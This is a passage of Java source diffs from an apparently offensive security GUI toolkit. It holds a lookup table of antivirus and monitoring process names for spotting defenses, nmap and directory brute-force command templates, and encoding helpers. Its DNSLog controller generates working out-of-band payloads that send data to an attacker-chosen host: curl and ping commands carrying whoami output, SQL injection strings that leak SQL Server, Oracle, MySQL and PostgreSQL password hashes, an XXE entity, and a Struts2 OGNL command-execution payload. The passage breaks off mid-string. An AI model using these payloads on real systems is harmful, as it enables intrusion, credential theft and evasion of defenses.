avMap.put("fp-win.exe", " F-Prot Antivirus OnDemand");
avMap.put("fsaa.exe", "F-Secure");
avMap.put("fsav.exe", "F-Secure");
avMap.put("fsav32.exe", "F-Secure");
avMap.put("fsav530stbyb.exe", "F-Secure");
avMap.put("fsav530wtbyb.exe", "F-Secure");
avMap.put("fsav95.exe", "F-Secure");
avMap.put("fsgk32.exe", "F-Secure");
avMap.put("fsm32.exe", "F-Secure");
avMap.put("fsma32.exe", "F-Secure");
avMap.put("fsmb32.exe", "F-Secure");
avMap.put("gbmenu.exe", "已知杀软进程,名称暂未收录");
avMap.put("guard.exe", "ewido");
avMap.put("guarddog.exe", "ewido");
avMap.put("htlog.exe", "已知杀软进程,名称暂未收录");
avMap.put("htpatch.exe", "Silicon Integrated Systems Corporation");
avMap.put("hwpe.exe", "已知杀软进程,名称暂未收录");
avMap.put("iamapp.exe", "Symantec");
avMap.put("iamserv.exe", "Symantec");
avMap.put("iamstats.exe", "Symantec");
avMap.put("iedriver.exe", " Urlblaze.com");
avMap.put("iface.exe", "Panda Antivirus Module");
avMap.put("infus.exe", "Infus Dialer");
avMap.put("infwin.exe", "Msviewparasite");
avMap.put("intdel.exe", "Inet Delivery");
avMap.put("intren.exe", "已知杀软进程,名称暂未收录");
avMap.put("jammer.exe", "已知杀软进程,名称暂未收录");
avMap.put("kavpf.exe", "Kapersky");
avMap.put("kazza.exe", "Kapersky");
avMap.put("keenvalue.exe", "EUNIVERSE INC");
avMap.put("launcher.exe", "Intercort Systems");
avMap.put("ldpro.exe", "已知杀软进程,名称暂未收录");
avMap.put("ldscan.exe", "Windows Trojans Inspector");
avMap.put("localnet.exe", "已知杀软进程,名称暂未收录");
avMap.put("luall.exe", "Symantec");
avMap.put("luau.exe", "Symantec");
avMap.put("lucomserver.exe", "Norton");
avMap.put("mcagent.exe", "McAfee");
avMap.put("mcmnhdlr.exe", "McAfee");
avMap.put("mctool.exe", "McAfee");
avMap.put("mcupdate.exe", "McAfee");
avMap.put("mcvsrte.exe", "McAfee");
avMap.put("mcvsshld.exe", "McAfee");
avMap.put("mfin32.exe", "MyFreeInternetUpdate");
avMap.put("mfw2en.exe", "MyFreeInternetUpdate");
avMap.put("mfweng3.02d30.exe", "MyFreeInternetUpdate");
avMap.put("mgavrtcl.exe", "McAfee");
avMap.put("mgavrte.exe", "McAfee");
avMap.put("mghtml.exe", "McAfee");
avMap.put("mgui.exe", "BullGuard");
avMap.put("minilog.exe", "Zone Labs Inc");
avMap.put("mmod.exe", "EzulaInc");
avMap.put("mostat.exe", "WurldMediaInc");
avMap.put("mpfagent.exe", "McAfee");
avMap.put("mpfservice.exe", "McAfee");
avMap.put("mpftray.exe", "McAfee");
avMap.put("mscache.exe", "Integrated Search Technologies Spyware");
avMap.put("mscman.exe", "OdysseusMarketingInc");
avMap.put("msmgt.exe", "Total Velocity Spyware");
avMap.put("msvxd.exe", "W32/Datom-A");
avMap.put("mwatch.exe", "已知杀软进程,名称暂未收录");
avMap.put("nav.exe", "Reuters Limited");
avMap.put("navapsvc.exe", "Norton AntiVirus");
avMap.put("navapw32.exe", "Norton AntiVirus");
avMap.put("navw32.exe", "Norton Antivirus");
avMap.put("ndd32.exe", "诺顿磁盘医生");
avMap.put("neowatchlog.exe", "已知杀软进程,名称暂未收录");
avMap.put("netutils.exe", "已知杀软进程,名称暂未收录");
avMap.put("nisserv.exe", "Norton");
avMap.put("nisum.exe", "Norton");
avMap.put("nmain.exe", "Norton");
avMap.put("nod32.exe", "ESET Smart Security");
avMap.put("norton_internet_secu_3.0_407.exe", "已知杀软进程,名称暂未收录");
avMap.put("notstart.exe", "已知杀软进程,名称暂未收录");
avMap.put("nprotect.exe", "Symantec");
avMap.put("npscheck.exe", "Norton");
avMap.put("npssvc.exe", "Norton");
avMap.put("ntrtscan.exe", "趋势反病毒应用程序");
avMap.put("nui.exe", "已知杀软进程,名称暂未收录");
avMap.put("otfix.exe", "已知杀软进程,名称暂未收录");
avMap.put("outpostinstall.exe", "Outpost");
avMap.put("patch.exe", "趋势科技");
avMap.put("pavw.exe", "已知杀软进程,名称暂未收录");
avMap.put("pcscan.exe", "趋势科技");
avMap.put("pdsetup.exe", "已知杀软进程,名称暂未收录");
avMap.put("persfw.exe", "Tiny Personal Firewall");
avMap.put("pgmonitr.exe", "PromulGate SpyWare");
avMap.put("pingscan.exe", "已知杀软进程,名称暂未收录");
avMap.put("platin.exe", "已知杀软进程,名称暂未收录");
avMap.put("pop3trap.exe", "PC-cillin");
avMap.put("poproxy.exe", "NortonAntiVirus");
avMap.put("popscan.exe", "已知杀软进程,名称暂未收录");
avMap.put("powerscan.exe", "Integrated Search Technologies");
avMap.put("ppinupdt.exe", "已知杀软进程,名称暂未收录");
avMap.put("pptbc.exe", "已知杀软进程,名称暂未收录");
avMap.put("ppvstop.exe", "已知杀软进程,名称暂未收录");
avMap.put("prizesurfer.exe", "Prizesurfer");
avMap.put("prmt.exe", "OpiStat");
avMap.put("prmvr.exe", "Adtomi");
avMap.put("processmonitor.exe", "Sysinternals");
avMap.put("proport.exe", "已知杀软进程,名称暂未收录");
avMap.put("protectx.exe", "ProtectX");
avMap.put("pspf.exe", "已知杀软进程,名称暂未收录");
avMap.put("purge.exe", "已知杀软进程,名称暂未收录");
avMap.put("qconsole.exe", "Norton AntiVirus Quarantine Console");
avMap.put("qserver.exe", "Norton Internet Security");
avMap.put("rapapp.exe", "BlackICE");
avMap.put("rb32.exe", "RapidBlaster");
avMap.put("rcsync.exe", "PrizeSurfer");
avMap.put("realmon.exe", "Realmon ");
avMap.put("rescue.exe", "已知杀软进程,名称暂未收录");
avMap.put("rescue32.exe", "卡巴斯基互联网安全套装");
avMap.put("rshell.exe", "已知杀软进程,名称暂未收录");
avMap.put("rtvscn95.exe", "Real-time virus scanner ");
avMap.put("rulaunch.exe", "McAfee User Interface");
avMap.put("run32dll.exe", "PAL PC Spy");
avMap.put("safeweb.exe", "PSafe Tecnologia");
avMap.put("sbserv.exe", "Norton Antivirus");
avMap.put("scrscan.exe", "360杀毒");
avMap.put("sfc.exe", "System file checker");
avMap.put("sh.exe", "MKS Toolkit for Win3");
avMap.put("showbehind.exe", "MicroSmarts Enterprise Component ");
avMap.put("soap.exe", "System Soap Pro");
avMap.put("sofi.exe", "已知杀软进程,名称暂未收录");
avMap.put("sperm.exe", "已知杀软进程,名称暂未收录");
avMap.put("supporter5.exe", "eScorcher反病毒");
avMap.put("symproxysvc.exe", "Symantec");
avMap.put("symtray.exe", "Symantec");
avMap.put("tbscan.exe", "ThunderBYTE");
avMap.put("tc.exe", "TimeCalende");
avMap.put("titanin.exe", "TitanHide");
avMap.put("tvmd.exe", "Total Velocity");
avMap.put("tvtmd.exe", " Total Velocity");
avMap.put("vettray.exe", "eTrust");
avMap.put("vir-help.exe", "已知杀软进程,名称暂未收录");
avMap.put("vnpc3000.exe", "已知杀软进程,名称暂未收录");
avMap.put("vpc32.exe", "Symantec");
avMap.put("vpc42.exe", "Symantec");
avMap.put("vshwin32.exe", "McAfee");
avMap.put("vsmain.exe", "McAfee");
avMap.put("vsstat.exe", "McAfee");
avMap.put("wfindv32.exe", "已知杀软进程,名称暂未收录");
avMap.put("zapro.exe", "Zone Alarm");
avMap.put("zonealarm.exe", "Zone Alarm");
avMap.put("AVPM.exe", "Kaspersky");
avMap.put("A2CMD.exe", "Emsisoft Anti-Malware");
avMap.put("A2SERVICE.exe", "a-squared free");
avMap.put("A2FREE.exe", "a-squared Free");
avMap.put("ADVCHK.exe", "Norton AntiVirus");
avMap.put("AGB.exe", "安天防线");
avMap.put("AHPROCMONSERVER.exe", "安天防线");
avMap.put("AIRDEFENSE.exe", "AirDefense");
avMap.put("ALERTSVC.exe", "Norton AntiVirus");
avMap.put("AVIRA.exe", "小红伞杀毒");
avMap.put("AMON.exe", "Tiny Personal Firewall");
avMap.put("AVZ.exe", "AVZ");
avMap.put("ANTIVIR.exe", "已知杀软进程,名称暂未收录");
avMap.put("APVXDWIN.exe", "熊猫卫士");
avMap.put("ASHMAISV.exe", "Alwil");
avMap.put("ASHSERV.exe", "Avast Anti-virus");
avMap.put("ASHSIMPL.exe", "AVAST!VirusCleaner");
avMap.put("ASHWEBSV.exe", "Avast");
avMap.put("ASWUPDSV.exe", "Avast");
avMap.put("ASWSCAN.exe", "Avast");
avMap.put("AVCIMAN.exe", "熊猫卫士");
avMap.put("AVCONSOL.exe", "McAfee");
avMap.put("AVENGINE.exe", "熊猫卫士");
avMap.put("AVESVC.exe", "Avira AntiVir Security Service");
avMap.put("AVEVL32.exe", "已知杀软进程,名称暂未收录");
avMap.put("AVGAM.exe", "AVG");
avMap.put("AVGCC.exe", "AVG");
avMap.put("AVGCHSVX.exe", "AVG");
avMap.put("AVGCSRVX", "AVG");
avMap.put("AVGNSX.exe", "AVG");
avMap.put("AVGCC32.exe", "AVG");
avMap.put("AVGCTRL.exe", "AVG");
avMap.put("AVGEMC.exe", "AVG");
avMap.put("AVGFWSRV.exe", "AVG");
avMap.put("AVGNTMGR.exe", "AVG");
avMap.put("AVGSERV.exe", "AVG");
avMap.put("AVGTRAY.exe", "AVG");
avMap.put("AVGUPSVC.exe", "AVG");
avMap.put("AVINITNT.exe", "Command AntiVirus for NT Server");
avMap.put("AVPCC.exe", "Kaspersky");
avMap.put("AVSERVER.exe", "Kerio MailServer");
avMap.put("AVSCHED32.exe", "H+BEDV");
avMap.put("AVSYNMGR.exe", "McAfee");
avMap.put("AVWUPSRV.exe", "H+BEDV");
avMap.put("BDSWITCH.exe", "BitDefender Module");
avMap.put("BLACKD.exe", "BlackICE");
avMap.put("CCEVTMGR.exe", "Symantec");
avMap.put("CFP.exe", "COMODO");
avMap.put("CLAMWIN.exe", "ClamWin Portable");
avMap.put("CUREIT.exe", "DrWeb CureIT");
avMap.put("DEFWATCH.exe", "Norton Antivirus");
avMap.put("DRWADINS.exe", "Dr.Web");
avMap.put("DRWEB.exe", "Dr.Web");
avMap.put("DEFENDERDAEMON.exe", "ShadowDefender");
avMap.put("EWIDOCTRL.exe", "Ewido Security Suite");
avMap.put("EZANTIVIRUSREGISTRATIONCHECK.exe", "e-Trust Antivirus");
avMap.put("FIREWALL.exe", "AshampooSoftware");
avMap.put("FPROTTRAY.exe", "F-PROT Antivirus");
avMap.put("FPWIN.exe", "Verizon");
avMap.put("FRESHCLAM.exe", "ClamAV");
avMap.put("FSAV32.exe", "F-Secure");
avMap.put("FSBWSYS.exe", "F-secure");
avMap.put("FSDFWD.exe", "F-Secure");
avMap.put("FSGK32.exe", "F-Secure");
avMap.put("FSGK32ST.exe", "F-Secure");
avMap.put("FSMA32.exe", "F-Secure");
avMap.put("FSMB32.exe", "F-Secure");
avMap.put("FSSM32.exe", "F-Secure");
avMap.put("GUARDGUI.exe", "网游保镖");
avMap.put("GUARDNT.exe", "IKARUS");
avMap.put("IAMAPP.exe", "Symantec");
avMap.put("INOCIT.exe", "eTrust");
avMap.put("INORPC.exe", "eTrust");
avMap.put("INORT.exe", "eTrust");
avMap.put("INOTASK.exe", "eTrust");
avMap.put("INOUPTNG.exe", "eTrust");
avMap.put("ISAFE.exe", "eTrust");
avMap.put("KAV.exe", "Kaspersky");
avMap.put("KAVMM.exe", "Kaspersky");
avMap.put("KAVPF.exe", "Kaspersky");
avMap.put("KAVPFW.exe", "Kaspersky");
avMap.put("KAVSTART.exe", "Kaspersky");
avMap.put("KAVSVC.exe", "Kaspersky");
avMap.put("KAVSVCUI.exe", "Kaspersky");
avMap.put("KMAILMON.exe", "金山毒霸");
avMap.put("MCAGENT.exe", "McAfee");
avMap.put("MCMNHDLR.exe", "McAfee");
avMap.put("MCREGWIZ.exe", "McAfee");
avMap.put("MCUPDATE.exe", "McAfee");
avMap.put("MCVSSHLD.exe", "McAfee");
avMap.put("MINILOG.exe", "Zone Alarm");
avMap.put("MYAGTSVC.exe", "McAfee");
avMap.put("MYAGTTRY.exe", "McAfee");
avMap.put("NAVAPSVC.exe", "Norton");
avMap.put("NAVAPW32.exe", "Norton");
avMap.put("NAVLU32.exe", "Norton");
avMap.put("NAVW32.exe", "Norton Antivirus");
avMap.put("NEOWATCHLOG.exe", "NeoWatch");
avMap.put("NEOWATCHTRAY.exe", "NeoWatch");
avMap.put("NISSERV.exe", "Norton");
avMap.put("NISUM.exe", "Norton");
avMap.put("NMAIN.exe", "Norton");
avMap.put("NOD32.exe", "ESET NOD32");
avMap.put("NPFMSG.exe", "Norman个人防火墙");
avMap.put("NPROTECT.exe", "Symantec");
avMap.put("NSMDTR.exe", "Norton");
avMap.put("NTRTSCAN.exe", "趋势科技");
avMap.put("OFCPFWSVC.exe", "OfficeScanNT");
avMap.put("ONLINENT.exe", "已知杀软进程,名称暂未收录");
avMap.put("OP_MON.exe", " OutpostFirewall");
avMap.put("PAVFIRES.exe", "熊猫卫士");
avMap.put("PAVFNSVR.exe", "熊猫卫士");
avMap.put("PAVKRE.exe", "熊猫卫士");
avMap.put("PAVPROT.exe", "熊猫卫士");
avMap.put("PAVPROXY.exe", "熊猫卫士");
avMap.put("PAVPRSRV.exe", "熊猫卫士");
avMap.put("PAVSRV51.exe", "熊猫卫士");
avMap.put("PAVSS.exe", "熊猫卫士");
avMap.put("PCCGUIDE.exe", "PC-cillin");
avMap.put("PCCIOMON.exe", "PC-cillin");
avMap.put("PCCNTMON.exe", "PC-cillin");
avMap.put("PCCPFW.exe", "趋势科技");
avMap.put("PCCTLCOM.exe", "趋势科技");
avMap.put("PCTAV.exe", "PC Tools AntiVirus");
avMap.put("PERSFW.exe", "Tiny Personal Firewall");
avMap.put("PERVAC.exe", "已知杀软进程,名称暂未收录");
avMap.put("PESTPATROL.exe", "Ikarus");
avMap.put("PREVSRV.exe", "熊猫卫士");
avMap.put("RTVSCN95.exe", "Real-time Virus Scanner");
avMap.put("SAVADMINSERVICE.exe", "SAV");
avMap.put("SAVMAIN.exe", "SAV");
avMap.put("SAVSCAN.exe", "SAV");
avMap.put("SDHELP.exe", "Spyware Doctor");
avMap.put("SHSTAT.exe", "McAfee");
avMap.put("SPBBCSVC.exe", "Symantec");
avMap.put("SPIDERCPL.exe", "Dr.Web");
avMap.put("SPIDERML.exe", "Dr.Web");
avMap.put("SPIDERUI.exe", "Dr.Web");
avMap.put("SPYBOTSD.exe", "Spybot ");
avMap.put("SWAGENT.exe", "SonicWALL");
avMap.put("SWDOCTOR.exe", "SonicWALL");
avMap.put("SWNETSUP.exe", "Sophos");
avMap.put("SYMLCSVC.exe", "Symantec");
avMap.put("SYMPROXYSVC.exe", "Symantec");
avMap.put("SYMSPORT.exe", "Sysmantec");
avMap.put("SYMWSC.exe", "Sysmantec");
avMap.put("SYNMGR.exe", "Sysmantec");
avMap.put("TMLISTEN.exe", "趋势科技");
avMap.put("TMNTSRV.exe", "趋势科技");
avMap.put("TMPROXY.exe", "趋势科技");
avMap.put("TNBUTIL.exe", "Anti-Virus");
avMap.put("VBA32ECM.exe", "已知杀软进程,名称暂未收录");
avMap.put("VBA32IFS.exe", "已知杀软进程,名称暂未收录");
avMap.put("VBA32PP3.exe", "已知杀软进程,名称暂未收录");
avMap.put("VCRMON.exe", "VirusChaser");
avMap.put("VRMONNT.exe", "HAURI");
avMap.put("VRMONSVC.exe", "HAURI");
avMap.put("VSHWIN32.exe", "McAfee");
avMap.put("VSSTAT.exe", "McAfee");
avMap.put("XCOMMSVR.exe", "BitDefender");
avMap.put("ZONEALARM.exe", "Zone Alarm");
avMap.put("360rp.exe", "360杀毒");
avMap.put("afwServ.exe", " Avast Antivirus");
avMap.put("safeboxTray.exe", "360杀毒");
avMap.put("360safebox.exe", "360杀毒");
avMap.put("QQPCTray.exe", "QQ电脑管家");
avMap.put("KSafeTray.exe", "金山毒霸");
avMap.put("KSafeSvc.exe", "金山毒霸");
avMap.put("KWatch.exe", "金山毒霸");
avMap.put("gov_defence_service.exe", "云锁");
avMap.put("gov_defence_daemon.exe", "云锁");
avMap.put("smartscreen.exe", "Windows Defender");
avMap.put("securityhealthservice.exe", "Windows Defender");
avMap.put("SunloginClient.exe", "向日葵");
avMap.put("finalshell.exe", "finalshell终端管理");
avMap.put("navicat.exe", "数据库管理");
avMap.put("AliSecGuard.exe", "阿里云盾");
avMap.put("AliYunDunUpdate.exe", "阿里云盾");
avMap.put("AliYunDun.exe", "阿里云盾");
avMap.put("CmsGoAgent.windows-amd64.", "阿里云监控");
avMap.put("vmnetdhcp.exe", "vm虚拟机");
avMap.put("ToDesk.exe", "ToDesk远控");
avMap.put("ToDesk_Service.exe", "ToDesk远控");
String av_result="";
for (String key : avMap.keySet()) {
if (avstr.contains(key)) {
String value = avMap.get(key);
av_result += "进程: " + key + ", 疑似: " + value +"\t\r\n";
}
}
textArea.setText(av_result);
}
}

View File

@ -0,0 +1,56 @@
package com.sec421.controller.baseTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import java.util.HashMap;
public class BaseToolsController {
public String UploadFileTools(HashMap hashMap,String str){
str = str.replace("127.0.0.1",hashMap.get("ip").toString());
str = str.replace("8000",hashMap.get("port").toString());
str = str.replace("exp.exe",hashMap.get("srcfile").toString());
str = str.replace("windows.exe",hashMap.get("dstfile").toString());
return str;
}
public String BruteforceTools(String str){
String textModule = "\n" +
"端口扫描:\n" +
"sudo nmap -sT --min-rate 10000 -p- targetIP\n" +
"sudo nmap -p- -Pn --min-rate 10000 targetIP\n" +
"sudo nmap -sT -sV -sC -O -p80,139 targetIP\n" +
"TARGET=targetIP && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap\n" +
"\n"+
"目录爆破:\n" +
"dirsearch -u http://targetIP -f -e zip,jar,tar.gz --wordlists=/usr/share/dirb/wordlists/common.txt\n" +
"dirsearch -u http://targetIP -x 403\n" +
"dirsearch -u http://targetIP -x 403,401 -w /usr/share/wordlists/dirb/big.txt\n" +
"\n"+
"gobuster dir -u http://targetIP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n" +
"gobuster dir -u http://targetIP --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n" +
"gobuster dir -k -u https://targetIP --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 \n" +
"\n"+
"feroxbuster -u http://targetIP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt\n" +
"feroxbuster -u http://targetIP -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k\n" +
"\n"+
"wfuzz -u http://targetIP/?FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/burp-paraameter-names.txt -H \"cookie: PHPSESSID=asdh231asdad\" --hh 1678\n" +
"wfuzz -u http://targetIP -w /usr/share/wordlists/rockyou.txt -d \"key=FUZZ\" --hw 25\n" +
"\n"+
"ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u http://targetIP/FUZZ -t 50 -mc 200\n" +
"\n"+
"domain brute:\n"+
"wfuzz -u http://targetIP -H \"HOST: FUZZ.targetIP\" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n" +
"wfuzz -u http://targetIP -H \"HOST: FUZZ.targetIP\" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315\n" +
"wfuzz -H \"Host: FUZZ.targetIP\" --hc 302,400 -t 50 -H \"User-Agent: luzesec\" -c -z file,\"/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt\" http://targetIP\n" +
"wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://targetIP -H \"Host: FUZZ.targetIP\" --hl 7\n" +
"gobuster vhost -u http://targetIP -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 20 -o gobuster_vhost.txt\n" +
"\n"+
"ssrf探测:\n"+
"ffuf -w /opt/SecLists/Fuzzing/4-digits-0000-9999.txt -u 'http://targetIP/?url=\"http://127.0.0.1:FUZZ\"' -fs 0\n"+
"";
return textModule.replace("targetIP",str);
}
}

View File

@ -0,0 +1,226 @@
package com.sec421.controller.baseTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import javafx.scene.control.TextArea;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.HashMap;
public class CodingController {
private HashMap<Character, String> morseCodeMap = new HashMap<>();
public void Base64Encode(TextArea textArea, String originalString) {
try {
String encodedString = Base64.getEncoder().encodeToString(originalString.getBytes(StandardCharsets.UTF_8));
textArea.setText(encodedString);
} catch (Exception e) {
textArea.setText("编码失败");
}
}
public void Base64Decode(TextArea textArea, String originalString) {
try {
byte[] decodedBytes = Base64.getDecoder().decode(originalString);
String decodedString = new String(decodedBytes, StandardCharsets.UTF_8);
textArea.setText(decodedString);
} catch (Exception e) {
textArea.setText("解码失败");
}
}
public void UnicodeEncode(TextArea textArea,String text){
// Unicode编码
StringBuilder unicodeText = new StringBuilder();
for (char c : text.toCharArray()) {
unicodeText.append("\\u").append(String.format("%04x", (int) c));
}
textArea.setText(unicodeText.toString());
}
public void UnicodeDecode(TextArea textArea,String text){
// Unicode解码
try {
StringBuilder decodedText = new StringBuilder();
String[] unicodeChars = text.toString().split("\\\\u");
for (int i = 1; i < unicodeChars.length; i++) {
int codePoint = Integer.parseInt(unicodeChars[i], 16);
decodedText.append((char) codePoint);
}
textArea.setText(decodedText.toString());
} catch (Exception e){
textArea.setText("解码失败");
}
}
public void URLEncoder(TextArea textArea,String text){
try {
String encodedUrl = URLEncoder.encode(text, "UTF-8");
textArea.setText(encodedUrl.toString());
} catch (Exception e) {
textArea.setText("编码失败");
}
}
public void URLDecoder(TextArea textArea,String text){
try {
String decodedUrl = URLDecoder.decode(text, "UTF-8");
textArea.setText(decodedUrl.toString());
} catch (UnsupportedEncodingException e) {
textArea.setText("解码失败");
}
}
public void ReverseString(TextArea textArea,String text){
try {
StringBuilder sb = new StringBuilder();
for (int i = text.length() - 1; i >= 0; i--) {
char c = text.charAt(i);
if (Character.isSurrogate(c)) {
char reversedChar = Character.reverseBytes(c);
sb.append(reversedChar);
} else {
sb.append(c);
}
}
textArea.setText(sb.toString());
} catch (Exception e){
textArea.setText("反转失败了");
}
}
private static String bytesToString(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(b).append(",");
}
return sb.toString();
}
public void ASCIIEncoding(TextArea textArea,String text){
byte[] bytes = text.getBytes();
textArea.setText(bytesToString(bytes));
}
public void ASCIIDecoding(TextArea textArea,String text){
try {
text.replace(" ","");
// 尝试根据逗号分割字符串
String[] asciiStrings = text.split(",");
// 如果分割后数组长度为1尝试根据空格分割字符串
if (asciiStrings.length == 1) {
asciiStrings = text.split(" ");
}
byte[] bytes = new byte[asciiStrings.length];
for (int i = 0; i < asciiStrings.length; i++) {
// 解析为ASCII码值
int asciiCode = Integer.parseInt(asciiStrings[i].trim());
// 转换为字节类型
bytes[i] = (byte) asciiCode;
}
// ASCII 解码
String decodedStr = new String(bytes);
textArea.setText(decodedStr.toString());
} catch (Exception e){
textArea.setText("ASCII转码失败");
}
} // ROT13编码
public void rot13Encode(TextArea textArea,String text) {
try{
StringBuilder result = new StringBuilder();
for(int i=0; i<text.length(); i++) {
char c = text.charAt(i);
if(Character.isLetter(c)) {
char base = Character.isLowerCase(c) ? 'a' : 'A';
c = (char) (((c - base + 13) % 26) + base);
}
result.append(c);
}
textArea.setText(result.toString());
} catch (Exception e) {
textArea.setText("rot13转换失败");
}
}
// 莫斯密码编码
public void morseEncode(TextArea textArea,String originalString) {
StringBuilder encodedBuilder = new StringBuilder();
originalString = originalString.toUpperCase();
for (char c : originalString.toCharArray()) {
String code = this.getMorseCodeMap().get(c);
if (code != null) {
encodedBuilder.append(code).append(" ");
}
}
textArea.setText(encodedBuilder.toString());
}
// 莫斯密码解码
public void morseDecode(TextArea textArea,String encodedString) {
StringBuilder decodedBuilder = new StringBuilder();
String[] codes = encodedString.split(" ");
for (String code : codes) {
for (char key : this.getMorseCodeMap().keySet()) {
if (code.equals(this.getMorseCodeMap().get(key))) {
decodedBuilder.append(key);
break;
}
}
}
textArea.setText(decodedBuilder.toString());
}
public HashMap<Character, String> getMorseCodeMap() {
this.morseCodeMap.put('A', ".-");
this.morseCodeMap.put('B', "-...");
this.morseCodeMap.put('C', "-.-.");
this.morseCodeMap.put('D', "-..");
this.morseCodeMap.put('E', ".");
this.morseCodeMap.put('F', "..-.");
this.morseCodeMap.put('G', "--.");
this.morseCodeMap.put('H', "....");
this.morseCodeMap.put('I', "..");
this.morseCodeMap.put('J', ".---");
this.morseCodeMap.put('K', "-.-");
this.morseCodeMap.put('L', ".-..");
this.morseCodeMap.put('M', "--");
this.morseCodeMap.put('N', "-.");
this.morseCodeMap.put('O', "---");
this.morseCodeMap.put('P', ".--.");
this.morseCodeMap.put('Q', "--.-");
this.morseCodeMap.put('R', ".-.");
this.morseCodeMap.put('S', "...");
this.morseCodeMap.put('T', "-");
this.morseCodeMap.put('U', "..-");
this.morseCodeMap.put('V', "...-");
this.morseCodeMap.put('W', ".--");
this.morseCodeMap.put('X', "-..-");
this.morseCodeMap.put('Y', "-.--");
this.morseCodeMap.put('Z', "--..");
this.morseCodeMap.put('0', "-----");
this.morseCodeMap.put('1', ".----");
this.morseCodeMap.put('2', "..---");
this.morseCodeMap.put('3', "...--");
this.morseCodeMap.put('4', "....-");
this.morseCodeMap.put('5', ".....");
this.morseCodeMap.put('6', "-....");
this.morseCodeMap.put('7', "--...");
this.morseCodeMap.put('8', "---..");
this.morseCodeMap.put('9', "----.");
this.morseCodeMap.put('.', ".-.-.-");
this.morseCodeMap.put(',', "--..--");
this.morseCodeMap.put('?', "..--..");
this.morseCodeMap.put('!', "-.-.--");
this.morseCodeMap.put(' ', "/");
return morseCodeMap;
}
public void setMorseCodeMap(HashMap<Character, String> morseCodeMap) {
this.morseCodeMap = morseCodeMap;
}
}

View File

@ -0,0 +1,112 @@
package com.sec421.controller.baseTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import javafx.scene.control.TextArea;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
public class DNSLogerController {
public void RCEGenerate(TextArea textArea, String text){
String temp = "Liunx/Unix/Mac OS系统:\n" +
"\n" +
"curl http://"+text+"/`whoami`\n" +
"ping `whoami`.1cbschv4.dnslog.pw\n" +
"\n" +
"Windows系统:\n" +
"\n" +
"ping %USERNAME%."+text+"";
textArea.setText(temp);
}
public void SQLGenerate(TextArea textArea, String text){
String temp = "SQL Server数据库:\n" +
"\n" +
"DECLARE @host varchar(1024);\n" +
"SELECT @host=(SELECT TOP 1\n" +
"master.dbo.fn_varbintohexstr(password_hash)\n" +
"FROM sys.sql_logins WHERE name='sa')\n" +
"+'."+text+"';\n" +
"EXEC('master..xp_dirtree\n" +
"\"\\\\'+@host+'\\foobar$\"');\n" +
"\n" +
"Oracle数据库:\n" +
"\n" +
"SELECT UTL_INADDR.GET_HOST_ADDRESS('"+text+"');\n" +
"SELECT UTL_HTTP.REQUEST('http://"+text+"/oracle') FROM DUAL;\n" +
"SELECT HTTPURITYPE('http://"+text+"/oracle').GETCLOB() FROM DUAL;\n" +
"SELECT DBMS_LDAP.INIT(('oracle."+text+"',80) FROM DUAL;\n" +
"SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'."+text+"',80) FROM DUAL;\n" +
"\n" +
"MySQL数据库:\n" +
"\n" +
"SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql."+text+"\\\\abc'));\n" +
"\n" +
"PostgreSQL数据库:\n" +
"\n" +
"DROP TABLE IF EXISTS table_output;\n" +
"CREATE TABLE table_output(content text);\n" +
"CREATE OR REPLACE FUNCTION temp_function()\n" +
"RETURNS VOID AS $\n" +
"DECLARE exec_cmd TEXT;\n" +
"DECLARE query_result TEXT;\n" +
"BEGIN\n" +
"SELECT INTO query_result (SELECT passwd\n" +
"FROM pg_shadow WHERE usename='postgres');\n" +
"exec_cmd := E'COPY table_output(content)\n" +
"FROM E\\'\\\\\\\\\\\\\\\\'||query_result||E'.psql."+text+"\\\\\\\\foobar.txt\\'';\n" +
"EXECUTE exec_cmd;\n" +
"END;\n" +
"$ LANGUAGE plpgsql SECURITY DEFINER;\n" +
"SELECT temp_function();";
textArea.setText(temp);
}
public void XXEGenerate(TextArea textArea, String text){
String temp = "XML实体:\n" +
"\n" +
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE root [\n" +
"<!ENTITY % remote SYSTEM \"http://"+text+"/xxe_test\">\n" +
"%remote;]>\n" +
"<root/>";
textArea.setText(temp);
}
public void OTHERGenerate(TextArea textArea, String text){
String temp = "Struts2中间件:\n" +
"\n" +
"xx.action?redirect:http://"+text+"/%25{3*4}\n" +
"xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d\"http://"+text+"/result%3d\".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(\"GET\"),%23http.connect(),%23http.getInputStream()}\n" +
